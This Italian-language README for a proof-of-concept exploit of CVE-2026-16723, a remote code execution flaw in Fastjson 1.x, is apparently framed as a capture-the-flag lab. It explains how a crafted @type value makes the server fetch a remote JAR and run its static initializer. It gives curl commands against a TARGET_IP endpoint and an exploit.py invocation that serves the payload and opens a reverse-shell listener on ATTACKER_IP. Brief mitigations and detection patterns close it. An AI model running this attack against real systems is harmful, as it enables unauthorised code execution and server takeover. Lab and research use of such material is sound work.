
Proof-of-concept exploit per CVE-2026-16723, una vulnerabilità di esecuzione di codice in remoto in Fastjson 1.x tramite @JSONType, con un builder di JAR per il payload e un listener per reverse shell.
★ CVE-2026-16723 Fastjson @JSONType RCE PoC ★
CVE-2026-16723 è una vulnerabilità di Remote Code Execution (RCE) in Fastjson 1.x (1.2.68 – 1.2.83). Quando Fastjson analizza JSON controllato dall'attaccante, un valore
@typeappositamente costruito viene trasformato in una ricerca di risorsa di classe all'interno dicheckAutoType. In un fat-JAR eseguibile di Spring Boot il class loader risolve quel nome come URLjar:http://e recupera un JAR remoto (SSRF), quindi carica una classe che porta l'annotazione@JSONTypeanche se AutoType è disabilitato. Poiché un JDK / Tomcat moderno rifiuta il nome binariojar:http://, la variante affidabile inserisce il JAR nella cache della JVM e lo rilegge tramitejar:file:/proc/self/fd/N, così la classe viene definita e il suo inizializzatore statico viene eseguito, consentendo l'esecuzione di codice. AutoType rimane disabilitato e non è richiesto alcun gadget nel classpath.
| Categoria | Versione |
|---|---|
| Vulnerabile | Fastjson 1.2.68 ≤ versione ≤ 1.2.83 |
| Corretta | Migrare a Fastjson 2.x (nessuna release 1.x corretta) |
Il target del laboratorio è una vetrina pubblica (Northwind Store) la cui API di ricerca
associa il corpo della richiesta con Fastjson. Tutto è la configurazione predefinita di Fastjson:
SafeMode off, AutoType off, pacchettizzato come fat-JAR di Spring Boot.
docker build -t cve-2026-16723 .
docker run -d --name cve-2026-16723 -p 8080:8080 cve-2026-16723
| Prerequisito | Stato in questo laboratorio |
|---|---|
| Fastjson 1.2.68 – 1.2.83 | 1.2.83 |
| Fat-JAR eseguibile di Spring Boot | sì |
| Percorso di parsing JSON non autenticato | POST /api/products/search |
| SafeMode / AutoType | predefinito (entrambi off) |
L'attaccante e il target vengono eseguiti sulla stessa rete bridge di Docker, quindi il target raggiunge l'attaccante come connessione in uscita (non viene pubblicata alcuna porta aggiuntiva).
curl http://TARGET_IP:8080/api/health
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' -d '{"keyword":"keyboard"}'
exploit.py costruisce il JAR del payload, lo serve, avvia un listener e stampa
il corpo della richiesta. È richiesto solo l'indirizzo di callback.
python3 attacker/exploit.py --lhost ATTACKER_IP --lport 4444
Incollare il corpo stampato nell'endpoint di ricerca (Burp Repeater o curl) e
inviarlo. La richiesta di ricerca è una funzionalità normale; solo il suo corpo JSON è costruito ad hoc.
curl -X POST http://TARGET_IP:8080/api/products/search \
-H 'Content-Type: application/json' --data-binary @body.json
Il codice viene eseguito con l'account del servizio. Recuperare la flag tramite la shell ottenuta:
whoami
com.alibaba:fastjson:1.2.83_noneautotype-Dfastjson.parser.safeMode=true@type contenenti pattern jar:http o jar:file / /proc/self/fd